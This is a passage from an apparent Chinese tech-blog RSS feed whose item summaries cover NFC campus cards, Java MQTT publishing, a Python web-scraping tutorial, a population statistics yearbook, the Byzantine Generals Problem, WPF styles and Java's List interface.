则在门禁、公交、手机支付等领域内发挥着巨大的作用。&#xA;同时，NFC 还优于红外和蓝牙传输方式。作为一种面向消费者的交易机制， NFC 比红外更快、更可靠而且简单得多，不用向红外那样必须严格的对齐才能传输数据。与蓝牙相比，NFC 面向近距离交易，适用于交换财务信息或敏感的个人信息等重要数据；蓝牙能够弥补NFC 通信距离不足的缺点，适用于较长距离数据通信。因此， NFC 和蓝牙为补充，共同存在。事实上，快捷轻型的 NFC 协议可以用于引导两台设备之间的蓝牙配对过程，促进了蓝牙的使用。&#xA;2 NFC 技术在校园的应用 NFC 技术支持多种应用，包括移动支付与交易、对等式通信及移动中信息访问等。通过NFC 手机，人们可以在任何地点、任何时间，通过任何设备，与他们希望得到的娱乐服务与交易联系在一起，从而完成付款，获取海报信息等。 NFC 设备可以用作非接触式智能卡、智能卡的读写器终端以及设备对设备的数据传输链路。其应用主要可分为以下四个基本类型:用于付款和购票、用于电子票证、用于智能媒体以及用于交换、传输数据。那么针对校园来讲，NFC 技术可以有较为合理的几种应用方案。&#xA;2.1 校园应用方案一&#xA;学生作为这个时代最具活力的群体，对新鲜事物的接受能力极高。尤其是对科技感十足、引领未来趋势的产品，更是趋之若鹜。“手机校园一卡通”正迎合年轻人的消费心理，让学生朋友轻松随性地享受着科技给生活带来的便利。&#xA;“手机校园一卡通”与传统校园一卡通相比具有明显的优势。IC 卡校园一卡通设计千篇律，让学生感到死板陈旧，并且容易损坏及丢失，而“手机校园一卡通”就能有效地避免这些情况的发生。手机是现在的年轻人最贴身、最常用的工县，同学们一般都将手机随身携带。只需将具有 NFC 功能的薄膜芯片卡与手机 SIM 卡相贴合，就可让手机具备传统校园一卡通功能。不论是在图书馆、食堂或是校园便利店，使用时拿出手机就能感应交易，还可在手机上查询卡片余额和交易纪录。即使手机处于关机状态，感应功能依然可以使用。&#xA;2.2 校园应用方案二&#xA;随着更安全、更易于管理的门禁卡问世，许多机械钥匙的应用已逐渐被淘汰，经过多年发展，门禁卡的功能越来越齐全、越来越智能化。现在，门禁技术取得更巨大的突破，虚拟身份凭证卡可以安全地进行配置并可靠地嵌入到智能手机与其他移动设备中，并正迎来全新的发展时代。&#xA;NFC 是一项适用于门禁系统的技术，这种近距离无线通信标准能够在几厘米的距离内实现设备问的数据交换。NFC 还完全符合管理非接触式智能卡的 ISO 标准，这是其成为理想平台的一大显著特点。通过使用配备 NEC 技术的手机携带便携式身份凭证卡，然后以无线方式由读卡器读取，学生只需在读卡器前出示手机即可开门。此类门禁卡不仅能安全地寄存学生的身份信息，还可通过存储访问规则决定某个特定人员是否可以打开门，在读卡器和中央控制面板(或服务器)之间决定是允许还是拒绝访问。</description>
    </item>
    <item>
      <title>java项目应用MQTT传输数据</title>
      <link>https://bchobby.github.io/posts/d9a2de6b85e72357d518d420bb673dc4/</link>
      <pubDate>Fri, 29 Dec 2023 09:34:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9a2de6b85e72357d518d420bb673dc4/</guid>
      <description>一、概述 近期做的一个项目需要传输数据给第三方。根据协定，采用MQTT进行数据的发送和订阅。一般来说，不通系统进行数据对接，一般采用RESTFul接口，走http。mqtt的话，顾名思义，就是一个消息队列。相比RESTFul接口，MQTT方式也许有个好处就是，数据传输给对方后，对方可以收到一个提醒。这个提醒来自于消息队列，不用自己搞。利用这个提醒，也许可以做点啥。除此之外，我不知道还有什么更多的好处。&#xA;MQTT的要素：&#xA;1）broker，经纪人，即代理地址，如：tcp://10.0.2.18:1883&#xA;2）clientID，客户端ID，如&#34;Client001&#34;; 客户端标识，可以自定义，但发送端和接收端不要同名&#xA;3）topic，// 要发布的主题，接收端据此接收，如”monkey/huaguo-moutain“。主题一经定义，可以多次使用。&#xA;4）qos，质量服务等级 0，1，2。2最高。&#xA;依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.eclipse.paho&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;org.eclipse.paho.client.mqttv3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 二、发送 如果单纯发送，客户端无须安装mqtt。Java中发送消息代码如下：&#xA;import org.eclipse.paho.client.mqttv3.MqttClient; import org.eclipse.paho.client.mqttv3.MqttConnectOptions; import org.eclipse.paho.client.mqttv3.MqttException; import org.eclipse.paho.client.mqttv3.MqttMessage; import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence; public class MqttPublisher { String broker = &#34;tcp://127.0.0.1:1883&#34;; // 替换为你的 MQTT 服务器地址 String clientId = &#34;Client001&#34;; // 客户端标识 String topic = &#34;mqttdemo/mytopic001&#34;; // 要发布的主题 int qos = 2; // 质量服务等级 MqttClient client = null; public MqttPublisher(String broker, String clientId, String topic, int qos) throws MqttException { this.</description>
    </item>
    <item>
      <title>python股票分析挖掘预测金融大数据获取方法和实现（2）</title>
      <link>https://bchobby.github.io/posts/abaa2a61242ab60e5ce9facd79ba02e3/</link>
      <pubDate>Fri, 29 Dec 2023 09:30:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abaa2a61242ab60e5ce9facd79ba02e3/</guid>
      <description>本人股市多年的老韭菜了，各种股票分析书籍，技术指标书籍阅历无数，萌发想法，何不自己开发个股票预测分析软件，选择python因为够强大，它提供了很多高效便捷的数据分析工具包，&#xA;我们已经初步的接触与学习其中数据分析中常见的3大利器---Numpy,Pandas，Matplotlib库。&#xA;数据是万物之源，我们做股票分析，首要条件是获取最新的，最全面的金融数据，我们才能进行下一步开发。&#xA;我们获取数据主要有二大渠道，爬虫爬取金融网站数据和金融网站主动提供API接口方式获得，上一章简单介绍一下金融数据接口的使用方法，这章重点讲讲爬虫抓取数据技巧和方法&#xA;爬虫抓取数据方法：&#xA;从金融接口获取数据方法简单，但是属于被动的，特别是免费用户受到的限制很大，所以我们学习一下爬虫主动获取金融网站数据，&#xA;爬虫技术是这几年特别热门的技术，想要学精学好，需要相当的时间和精力，我们这里先了解个大概。&#xA;爬虫解析数据有很多种，爬取不同的数据，返回的数据类型不一样，有html、json、xml、文本（字符串）等多种格式！简单的介绍几种&#xA;(1）网络爬虫常见用法 (1)Xpath获取 XPath，全称XML Path Language，即XML 路径语⾔，它是⼀⻔在XML ⽂档中查找信息的语⾔。最初是⽤来搜寻XML ⽂档的，但同样适⽤于HTML ⽂档的搜索。所以在做爬⾍时完全可以使⽤XPath做相应的信息抽取。&#xA;安装：pip install lxml 获取请求： url = &#39;https://pic.netbian.com/4kmeinv/index_5.html&#39; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36&#39; } 注意：headers里面的浏览器版本必须对应个人开发者电脑版本，要不可能爬取错误&#xA;完整代码： import requests from lxml import etree import os url = &#39;https://pic.netbian.com/4kmeinv/index_5.html&#39; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.</description>
    </item>
    <item>
      <title>2007-2019年中国人口与就业统计年鉴， pdf、xls不定，多项指标可查，可预览后下载</title>
      <link>https://bchobby.github.io/posts/097121c40d4488c6a40b8df3b078ceb5/</link>
      <pubDate>Fri, 29 Dec 2023 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/097121c40d4488c6a40b8df3b078ceb5/</guid>
      <description> 数据名称: 中国人口与就业统计年鉴&#xA;数据格式: pdf、xls不定&#xA;数据时间: 2007-2019年&#xA;数据几何类型: 文本&#xA;数据坐标系: ——&#xA;数据来源：国家统计局&#xA;数据字段: ——&#xA;数据预览 目录第一部分　综合数据1-1 分地区年末人口数1-2 按性别分人口数1-3 人口年龄结构和抚养比1-4 按城乡分人口数1-5 分地区年末城镇人口比重1-6 人口出生率、死亡率和自然增长率1-7 各地区人口出生率、死亡率和自然增长率1-8 流动人口数1-9 平均预期寿命1-10 各地区人口平均预期寿命1-11 七次全国人口普查人口基本情况1-12 全国历年人口密度1-13 就业基本情况1-14 分城乡就业人员年末人数1-15 分产业就业人员年末人数1-16 分地区就业人员数(2021年底数)1-17 城镇登记失业人数及失业率(年末数)1-18 2021年全国城镇调查失业率主要数据1-19 分行业城镇非私营单位就业人员年末人数1-20 分登记注册类型城镇非私营单位就业人员年末人数1-21 分行业城镇非私营单位女性就业人员年末人数1-22 分登记注册类型城镇非私营单位女性就业人员年末人数1-23 分地区按行业分城镇非私营单位就业人员数(2021年)1-24 分登记注册类型城镇非私营单位就业人员平均工资1-25 分登记注册类型城镇非私营单位就业人员平均工资指数1-26 分行业城镇非私营单位就业人员平均工资1-27 分地区城镇非私营单位就业人员平均工资1-28 分地区按行业分城镇非私营单位就业人员平均工资(2021年)1-29 分地区按行业分城镇私营单位就业人员平均工资(2021年)第二部分　2021年人口变动情况抽样调查数据2-1 各地区人口数及人口自然变动情况2-2 各地区人口的城乡构成2-3 全国分年龄、性别的人口数2-4 全国城市分年龄、性别的人口数2-5 全国镇分年龄、性别的人口数2-6 全国乡村分年龄、性别的人口数2-7 各地区人口年龄构成和抚养比2-8 各地区城市人口年龄构成和抚养比2-9 各地区镇人口年龄构成和抚养比2-10 各地区乡村人口年龄构成和抚养比2-11 各地区户数、人口数、性别比和平均家庭户规模2-12 各地区城市户数、人口数、性别比和平均家庭户规模2-13 各地区镇的户数、人口数、性别比和平均家庭户规模2-14 各地区乡村户数、人口数、性别比和平均家庭户规模2-15 各地区按家庭户规模分的户数2-16 各地区城市按家庭户规模分的户数2-17 各地区镇按家庭户规模分的户数2-18 各地区乡村按家庭户规模分的户数2-19 各地区家庭户类别2-20 各地区城市家庭户类别2-21 各地区镇家庭户类别2-22 各地区乡村家庭户类别2-23 全国家庭户人数和户主的年龄、性别构成2-24 各地区分性别、受教育程度的人口2-25 各地区城市分性别、受教育程度的人口2-26 各地区镇分性别、受教育程度的人口2-27 各地区乡村分性别、受教育程度的人口2-28 各地区分性别的15岁及以上文盲人口2-29 各地区城市分性别的15岁及以上文盲人口2-30 各地区镇分性别的15岁及以上文盲人口2-31 各地区乡村分性别的15岁及以上文盲人口2-32 全国15岁及以上人口分年龄、性别的婚姻状况2-33 全国城市15岁及以上人口分年龄、性别的婚姻状况2-34 全国镇15岁及以上人口分年龄、性别的婚姻状况2-35 全国乡村15岁及以上人口分年龄、性别的婚姻状况2-36 各地区分性别、婚姻状况的人口2-37 各地区城市分性别、婚姻状况的人口2-38 各地区镇分性别、婚姻状况的人口2-39 各地区农村分性别、婚姻状况的人口2-40 全国育龄妇女分年龄、孩次的生育状况(2020年11月1日至2021年10月31日)2-41 全国城市育龄妇女分年龄、孩次的生育状况(2020年11月1日至2021年10月31日)2-42 全国镇育龄妇女分年龄、孩次的生育状况(2020年11月1日至2021年10月31日)2-43 全国乡村育龄妇女分年龄、孩次的生育状况(2020年11月1日至2021年10月31日)2-44 全国分年龄、性别的死亡人口状况(2020年11月1日至2021年10月31日)2-45 全国城市分年龄、性别的死亡人口状况(2020年11月1日至2021年10月31日)2-46 全国镇分年龄、性别的死亡人口状况(2020年11月1日至2021年10月31日)2-47 全国乡村分年龄、性别的死亡人口状况(2020年11月1日至2021年10月31日)2-48 各地区分性别的各种户口状况人口2-49 各地区城市分性别的各种户口状况人口2-50 各地区镇分性别的各种户口状况人口2-51 各地区乡村分性别的各种户口状况人口第三部分　2021年劳动力调查主要数据3-1 全国分地区就业人员受教育程度构成3-2 全国分地区男性就业人员受教育程度构成3-3 全国分地区女性就业人员受教育程度构成3-4 全国按年龄、性别分的就业人员受教育程度构成3-5 全国按受教育程度、性别分的就业人员年龄构成3-6 全国按行业、性别分的就业人员受教育程度构成3-7 全国按职业、性别分的就业人员受教育程度构成3-8 全国按受教育程度、性别分的就业人员职业构成3-9 全国按年龄、性别分的就业人员就业身份构成3-10 全国按就业身份、性别分的就业人员年龄构成3-11 全国按受教育程度、性别分的就业人员就业身份构成3-12 全国按就业身份、性别分的就业人员受教育程度构成3-13 城镇按年龄、性别分的就业人员就业身份构成3-14 城镇按就业身份、性别分的就业人员年龄构成3-15 城镇按受教育程度、性别分的就业人员就业身份构成3-16 城镇按就业身份、性别分的就业人员受教育程度构成3-17 城镇按年龄、性别分的就业人员行业构成3-18 城镇按行业、性别分的就业人员年龄构成3-19 城镇按受教育程度、性别分的就业人员行业构成3-20 城镇按行业、性别分的就业人员受教育程度构成3-21 城镇按年龄、性别分的就业人员职业构成3-22 城镇按职业、性别分的就业人员年龄构成3-23 城镇按受教育程度、性别分的就业人员职业构成3-24 城镇按职业、性别分的就业人员受教育程度构成3-25 城镇就业人员调查周平均工作时间3-26 城镇男性就业人员调查周平均工作时间3-27 城镇女性就业人员调查周平均工作时间3-28 城镇按年龄、性别分的就业人员工作时间构成3-29 城镇按受教育程度、性别分的就业人员工作时间构成3-30 城镇按行业、性别分的就业人员工作时间构成3-31 城镇按职业、性别分的就业人员工作时间构成3-32 城镇按年龄、性别分的失业人员结束上一份工作原因构成3-33 城镇按结束上一份工作原因、性别分的失业人员年龄构成3-34 城镇按受教育程度、性别分的失业人员结束上一份工作原因构成3-35 城镇按结束上一份工作原因、性别分的失业人员受教育程度构成3-36 城镇按年龄、性别分的失业人员受教育程度构成3-37 城镇按受教育程度、性别分的失业人员年龄构成3-38 城镇按年龄、性别分的失业人员寻找工作方式构成3-39 城镇按受教育程度、性别分的失业人员寻找工作方式构成3-40 城镇按年龄、性别分的失业人员失业前的行业构成3-41 城镇按受教育程度、性别分的失业人员失业前的行业构成3-42 城镇按年龄、性别分的失业人员失业前的职业构成3-43 城镇按受教育程度、性别分的失业人员失业前的职业构成3-44 城镇按受教育程度、性别分的失业人员失业时间构成3-45 城镇按年龄、性别分的失业人员失业时间构成第四部分　2021年城镇单位就业人员统计数据4-1 各地区分行业国有单位就业人员数4-2 各地区分行业城镇集体单位就业人员数4-3 各地区分行业其他单位就业人员数第五部分　2021年全国户籍统计人口数据5-1 各地区总户数、总人口5-2 各地区市总户数、总人口5-3 各地区县总户数、总人口5-4 各地区区县人口数5-4 续表 15-4 续表 25-4 续表 35-4 续表 45-4 续表 55-4 续表 65-4 续表 75-4 续表 85-4 续表 95-4 续表 105-4 续表 115-4 续表 125-4 续表 135-4 续表 145-4 续表 155-4 续表 165-4 续表 175-4 续表 185-4 续表 195-4 续表 205-4 续表 215-4 续表 225-4 续表 235-4 续表 245-4 续表 255-4 续表 265-4 续表 275-4 续表 285-4 续表 295-4 续表 305-4 续表 315-4 续表 325-4 续表 335-4 续表 345-4 续表 355-5 按总人口排序的市及人口数5-5 续表 15-5 续表 25-5 续表 35-5 续表 45-5 续表 55-5 续表 65-5 续表 7第六部分　世界部分国家及地区人口和就业统计数据一、世界部分国家人口和就业统计数据6-1 人口数6-2 人口出生率、死亡率、自然增长率6-3 人口年龄构成6-4 人口指标6-5 全部就业人数6-6 按三次产业分就业人员构成6-7 失业人数6-8 失业率6-9 消费价格指数二、香港特别行政区人口和就业统计数据6-10 人口主要指标6-11 劳动人口及失业状况6-12 按行业划分的就业人数6-13 按每月就业收入划分的就业人数6-14 按行业划分督导级(不包括经理级与专业雇员)及以下雇员的工资指数6-15 消费物价指数(2019年10月-2020年9月=100)三、澳门特别行政区人口和就业统计数据6-16 人口主要指标6-17 经济活动人口及失业状况6-18 按行业划分的就业人口6-19 按行业划分的月工作收入中位数6-20 消费物价指数四、台湾省人口和就业统计数据6-21 面积和人口主要指标6-22 劳动力和就业状况6-23 居民消费价格分类指数第七部分　2021年人口变动情况抽样调查和劳动力调查制度说明及主要指标解释人口变动情况抽样调查制度劳动力调查制度主要统计指标解释 </description>
    </item>
    <item>
      <title>3、漫谈分布式系统、拜占庭将军问题与区块链</title>
      <link>https://bchobby.github.io/posts/9edb39a04b9db08c3034b0c1b3ebce57/</link>
      <pubDate>Fri, 29 Dec 2023 09:21:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9edb39a04b9db08c3034b0c1b3ebce57/</guid>
      <description>分布式系统和一致性问题 拜占庭将军问题 我们前面讨论的一致性协议，有一个重要的前提条件，就是：各个节点都是可以信任的，它们都严格遵守同样的一套规则。这个条件，在一个公司的内部网络中可以认为是基本能满足的。但如果这个条件不满足会怎么样呢？假设网络中有些节点是恶意的，它们不但不遵守协议，还故意捣乱（比如胡乱发送消息），那么其它正常的节点还能够顺利工作吗？&#xA;在分布式系统理论中，这个问题被抽象成了一个著名的问题—拜占庭将军问题(Byzantine Generals Problem)。这个问题由大名鼎鼎的Leslie Lamport提出，也就是Paxos的作者。同时，Lamport还是2013年的图灵奖得主。&#xA;这要从一个故事开始说起。拜占庭帝国的几支军队攻打到了敌人的城市外面，然后分开驻扎。每一支军队由一位拜占庭将军(Byzantine general)率领。为了制定出一个统一的作战计划，每一位将军需要通过信差(messenger)与其它将军互通消息。但是，在拜占庭将军之间可能出现了叛徒(traitor)。这些叛徒将军的目的是阻挠其他忠诚的将军(loyal generals)达成一致的作战计划。为了这一目的，他们可能做任何事，比如串通起来，故意传出虚假消息，或者不传出任何消息。 我们来看一个简单的例子。假设有5位将军，他们投票来决定是进攻还是撤退。其中两位认为应该进攻，还有两位认为应该撤退，这时候进攻和撤退的票数是2:2打平了。第五位将军恰好是个叛徒，他告诉前两位应该进攻，但告诉后两位应该撤退，结果前两位将军最终决定进攻，而后两位将军却决定撤退。没有达成一致的作战计划。&#xA;这个问题显然比我们在前一章讨论的可信任环境下的一致性问题要更难。要解决这个问题，我们是希望能找到一个算法，保证在存在叛徒阻挠的情况下，我们仍然能够达成如下目标：&#xA;A. 所有忠诚的将军都得到了相同（一致）的作战计划。比如都决定进攻，或都决定撤退，而不是有些将军认为应该进攻，其他将军却决定撤退。B. 忠诚的将军不仅得到了相同的作战计划，还应该保证得到的作战计划是合理的(reasonable)。比如，本来进攻是更有利的作战计划，但由于叛徒的阻挠，最终却制定出了一起撤退的计划。这样我们的算法也算失败了。 可以看出，上面的目标A，是比较明确的，至少给定一个算法很容易判定它有没有达到这个目标。但目标B却让人无从下手。一个作战计划是不是「合理」的，本来就不好定义。即使没有叛徒的存在，忠诚的将军们也未必就一定能制定出合理的计划。这涉及到科学研究中一个非常重要的问题，如果一个事情不能用一种形式化的方式清晰的定义出来，对于它的研究也就无从谈起，这个事情本身也无法上升到科学的层面。Lamport在对拜占庭将军问题的研究中，一个突出的贡献就是，把这个看似不太好界定的问题，巧妙地归约到了一个能用数学语言精确描述的问题上去。下面我们就看一下这个过程是怎么做的。&#xA;首先我们考虑一下将军们制定作战计划的过程（先假设没有叛徒）。每一位将军根据自己对战局的观察，给出他建议的作战计划——是进攻还是撤退，这称为作战提议。然后，每位将军把自己的作战提议通过信差传达给其他每一位将军。现在每一位将军都知道了其他将军的作战提议，再加上他自己的作战提议，他需要根据所有这些信息得到最终的一个作战计划。为了表达上更清晰，我们给每位将军进行编号，分别是1, 2, …, n，每位将军提出的作战提议记为v(1), v(2), …, v(n)，一共是n个值，这其中有些代表「进攻」，有些代表「撤退」。经过信差传递消息之后，每位将军都看到了相同的作战提议序列v(1), v(2), …, v(n)，当然这其中的一个是当前这位将军自己提出来的。然后只要每位将军采用同样的方法，对所有的v(1), v(2), …, v(n)这些信息进行汇总，就能得到同样的最终作战计划。比如，容易想到的一个方法是投票法，即对v(1), v(2), …, v(n)中不同的作战提议进行投票，最后选择得票最多的作为最终作战计划。&#xA;当然，这样得到的最终作战计划也不能保证就是最好的，但这应该是我们能做到的最好的了。我们现在仍然假设将军里没有叛徒。我们发现，前面提到的目标A和目标B的要求可以适当「降低」一些：我们不再关注将军们是否能达成最终一致的作战计划，并且这个计划是不是「合理」；我们只关注每个将军是否收到了完全相同的作战提议v(1), v(2), …, v(n)。只要每位将军收到的这些作战提议是完全相同的，他们再用同样的方法进行汇总，就很容易得到最终一致的作战计划。至于这个最终的作战计划是不是最好的，那就跟很多「人为」的因素有关了，我们不去管它。&#xA;现在我们考虑将军中出现了叛徒。遵循前面的思路，我们仍然希望每位将军能够收到完全相同的作战提议v(1), v(2), …, v(n)。现在我们仔细审视一下其中的一个值，v(i)，在前面的描述中，它表示来自第i个将军的作战提议。如果第i个将军是忠诚的，那么这个定义没有什么问题。但是，如果第i个将军是叛徒，那么就有问题了。为什么呢？因为叛徒可以为所欲为，他为了扰乱整个作战计划的制定，完全可能向不同的将军给出不同的作战提议。这样的话，不同的忠诚将军收到的来自第i个将军的v(i)可能是不同的值。这样v(i)这个定义就不对了，它需要改一改。&#xA;不管怎么样，即使存在叛徒，我们还是希望每位将军最终是基于完全相同的作战提议来做汇总，这些作战提议仍然记为v(1), v(2), …, v(n)。不过，这里的v(i)不再表示来自第i个将军的作战提议，而是表示经过我们设计的某个一致性算法处理之后，每位将军最终看到的第i个提议。这里需要分两种情况讨论。首先第一种情况，如果第i个将军是忠诚的，那么我们自然希望这个v(i)就是第i个将军发送出来的作战提议。换句话说，我们希望经过一致性算法处理之后，第i个将军如果是忠诚的，那么它的提议能够被如实地传达给其他将军，而不会被叛徒的行为所干扰。这是可能制定出「合理」作战计划的前提。第二种情况，如果第i个将军是叛徒，那么他有可能向不同的将军发送不同的提议。这时候我们不能够只听他的一面之词，而是希望经过一致性算法处理之后，各个将军之间充分交换意见，然后根据其他各个将军转述的信息，综合判断得到一个v(i)。这个v(i)是进攻还是撤退，并不太重要，关键是要保证每位将军得到的v(i)是相同的。只有这样，各位将军经过汇总所有的v(1), v(2), …, v(n)之后才能得到最终的完全一致的作战计划。&#xA;根据上面的分析，我们发现，在这两种情况中，我们都只需要关注单个将军（也就是第i个将军）所发出的提议如何传达给其他将军。重点终于来了！至此，我们就能够把原来的问题归约到一个子问题上。这个子问题，才是Leslie Lamport在他的论文中被真正命名为「拜占庭将军问题(Byzantine Generals Problem)」的那个问题。在这个问题中，我们只关注发送命令的单个将军，称他为主将(commanding general)，而其他接受命令的将军称为副官(lieutenant)。下面是「拜占庭将军问题」的精确描述。&#xA;一个主将发送命令给n-1个副官，如何才能确保下面两个条件：&#xA;(IC1) 所有忠诚的副官最终都接受相同的命令。(IC2) 如果主将是忠诚的，那么所有忠诚的副官都接受主将发出的命令。 这其实正好对应了我们前面已经讨论过的两种情况。如果主将是忠诚的，那么条件IC2保证了命令如实地传递，这时候条件IC1自然也满足了；如果主将是叛徒，那么条件IC2没有意义了，而条件IC1保证了，即使叛徒主将对每个副官发出不同的命令，每个副官仍然能最终获得一致的命令。&#xA;这里有两个地方可能让人产生疑惑。&#xA;第一，有些人会问了，难道主将还能是叛徒？主将都是叛徒了，还有啥搞头啊？其实是这样的，这个「拜占庭将军问题」只是原问题的一个子问题。当n个将军通过传递消息来决策作战计划的时候，可以分解成n个「拜占庭将军问题」，即分别以每位将军作为主将，以其余n-1位将军作为副官。如果有一个算法能够解决「拜占庭将军问题」，那么同时运行n个算法实例，就能使得每位将军都获得完全相同的作战提议序列，即前面我们提到的v(1), v(2), …, v(n)。最后，每位将军将v(1), v(2), …, v(n)使用相同的方法进行汇总（比如按多数投票），就能得到最终的作战计划。&#xA;第二，当主将是叛徒的时候，他可以向不同的副官发送不同的命令，怎么可能每个副官仍然能最终获得一致的命令呢？这正是算法需要解决的。其实这也容易解释（我们前面也提到过这个思路），由于主将可能向不同的副官发送不同的命令，所以副官不能直接采用主将发来的命令，而是也要看看其他副官转述来的主将的命令是什么。然后，一个副官综合了由所有副官转述的命令（再加上主将直接发来的命令）之后，就可能得到比较全面的信息，从而做出一致的判断（在实际中是个不断迭代的过程）。&#xA;好了，我们用了这么多篇幅，终于把「拜占庭将军问题」本身描述清楚了。这实际上也是最难的部分。我们上一章提到过，理解问题本身比理解问题的答案更重要。只要问题本身分析清楚了，如何设计一个能解决它的算法就只是细节问题了。我们这里不深入算法的细节了，感兴趣的读者可以去查阅下列论文：&#xA;我们这里只提一下论文给出的算法的结论。&#xA;使用不同的消息模型，「拜占庭将军问题」有不同的解法。</description>
    </item>
    <item>
      <title>编程语言的未来：创新与普及的融合</title>
      <link>https://bchobby.github.io/posts/004c8afc8cf7f421685b07314bca230f/</link>
      <pubDate>Fri, 29 Dec 2023 09:20:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/004c8afc8cf7f421685b07314bca230f/</guid>
      <description>随着科技的飞速发展，编程语言在计算机领域中扮演着至关重要的角色。它们是软件开发的核心，为程序员提供了与机器沟通的桥梁。然而，随着技术的不断进步，编程语言的未来又将如何呢？本文将探讨编程语言在创新与普及方面的融合，展望未来的发展趋势。&#xA;首先，编程语言将越来越注重创新。随着人工智能、大数据和区块链等技术的不断发展，编程语言需要不断适应新的应用场景和需求。未来的编程语言将更加注重简洁、高效、可扩展和安全性。新的编程语言将会出现，具备更强大的功能和更高的抽象级别，使开发人员能够更快速地构建复杂的应用程序。同时，编程语言还将更加注重可读性和可维护性，以提高团队协作和代码质量。&#xA;其次，编程语言的普及将越来越广泛。随着计算机科学的普及和人们对技术的需求增加，编程将成为一项基本的技能。未来的编程语言将更加注重易学性和友好性，使更多的人能够轻松地学习和使用。编程语言将更加贴近自然语言，采用更直观的语法和编码方式，降低了学习门槛。同时，编程语言的学习资源和教育机构也将更加丰富和多样化，为广大学习者提供更好的学习环境和支持。&#xA;此外，编程语言的跨平台性将得到进一步提升。随着移动设备和云计算的普及，软件开发需要在多种平台上进行。未来的编程语言将更加注重跨平台的能力，使开发人员能够更方便地编写一次代码，然后在不同的平台上运行。同时，编程语言将更加注重与其他技术的集成，如云计算服务、物联网设备和人工智能算法等，以提供更丰富的开发工具和功能。&#xA;最后，编程语言的社区和开源文化将变得更加重要。开源软件和社区对于编程语言的发展起到了重要的推动作用。未来的编程语言将更加注重社区的参与和贡献，鼓励开发者共同合作和分享。开源软件将变得更加普遍和成熟，为开发人员提供更多的工具和资源。同时，编程语言的标准化和规范化也将得到加强，以提高互操作性和代码的可移植性。&#xA;综上所述，编程语言在未来将继续发展和创新。它们将更加注重创新、普及、跨平台和社区的融合。作为程序员和技术爱好者，我们应该持续关注编程语言的发展，不断学习和掌握新的技术，以适应未来的需求和挑战。编程语言将继续引领技术的进步，为我们创造更美好的未来。</description>
    </item>
    <item>
      <title>WPF 基础入门（样式）</title>
      <link>https://bchobby.github.io/posts/bba8c36f0fc8b12e718f3931b837e4c2/</link>
      <pubDate>Fri, 29 Dec 2023 09:18:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bba8c36f0fc8b12e718f3931b837e4c2/</guid>
      <description>3.1 一般样式 &amp;lt;Grid Margin=&#34;10&#34;&amp;gt; &amp;lt;TextBlock Text=&#34;Style test&#34; Foreground=&#34;Red&#34; FontSize=&#34;20&#34;/&amp;gt; &amp;lt;/Grid&amp;gt; 3.2内嵌样式 直接在控件上定义样式，如下所示：&#xA;&amp;lt;Grid Margin=&#34;10&#34;&amp;gt; &amp;lt;TextBlock Text=&#34;Style test&#34;&amp;gt; &amp;lt;TextBlock.Style&amp;gt; &amp;lt;Style&amp;gt; &amp;lt;Setter Property=&#34;TextBlock.FontSize&#34; Value=&#34;36&#34; /&amp;gt; &amp;lt;/Style&amp;gt; &amp;lt;/TextBlock.Style&amp;gt; &amp;lt;/TextBlock&amp;gt; &amp;lt;/Grid&amp;gt; 3.3父资源样式 使用控件的Resources部分，可以面向此控件的子控件（以及这些子控件的子控件等）。 &amp;lt;Grid Margin=&#34;10&#34;&amp;gt; &amp;lt;Grid.Resources&amp;gt; &amp;lt;Style TargetType=&#34;{x:Type TextBlock}&#34;&amp;gt; &amp;lt;Setter Property=&#34;Foreground&#34; Value=&#34;Red&#34; /&amp;gt; &amp;lt;Setter Property=&#34;FontSize&#34; Value=&#34;24&#34; /&amp;gt; &amp;lt;/Style&amp;gt; &amp;lt;/Grid.Resources&amp;gt; &amp;lt;TextBlock Text=&#34;Style test&#34;/&amp;gt; &amp;lt;/Grid&amp;gt; 3.4窗口资源样式 写在Window窗口下面的资源样式，当前窗口下样式起作用。&#xA;&amp;lt;Window.Resources&amp;gt; &amp;lt;Style TargetType=&#34;TextBlock&#34;&amp;gt; &amp;lt;Setter Property=&#34;Foreground&#34; Value=&#34;Red&#34; /&amp;gt; &amp;lt;Setter Property=&#34;FontSize&#34; Value=&#34;24&#34; /&amp;gt; &amp;lt;/Style&amp;gt; &amp;lt;/Window.Resources&amp;gt; &amp;lt;Grid Margin=&#34;10&#34;&amp;gt; &amp;lt;TextBlock Text=&#34;Style test&#34;/&amp;gt; &amp;lt;/Grid&amp;gt; 3.</description>
    </item>
    <item>
      <title>数据结构入门到入土——List的介绍</title>
      <link>https://bchobby.github.io/posts/844cef232a6c9a14a99fa864b4938f7f/</link>
      <pubDate>Fri, 29 Dec 2023 09:13:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/844cef232a6c9a14a99fa864b4938f7f/</guid>
      <description> 目录&#xA;一，什么是List？&#xA;二，常见接口介绍&#xA;三，List的使用&#xA;一，什么是List？ 在集合框架中，List是一个接口，继承自Collection。&#xA;Collection也是一个接口，该接口中规范了后序容器中常用的一些方法，具体如下所示： Iterable也是一个接口，表示实现该接口的类是可以逐个元素进行遍历的，具体如下： List的官方文档 站在数据结构的角度来看，List就是一个线性表，即n个具有相同类型元素的有限序列，在该序列上可以执行增删改查以及变量等操作。 二，常见接口介绍 List中提供了好的方法，具体如下：&#xA;虽然方法很多，但是常用的如下：&#xA;方法解释boolean add(E e)尾插e void add (int index, E element) 将e插入到index位置 boolean addAll (Collection&amp;lt;? extends E&amp;gt; c) 尾插c中的元素 E remove (int index) 删除index位置元素 boolean remove (Object o) 删除遇到的第一个 o E get (int index) 获取下标index位置元素 E set (int index, E element) 将index位置元素设置为element void clear () 清空 boolean 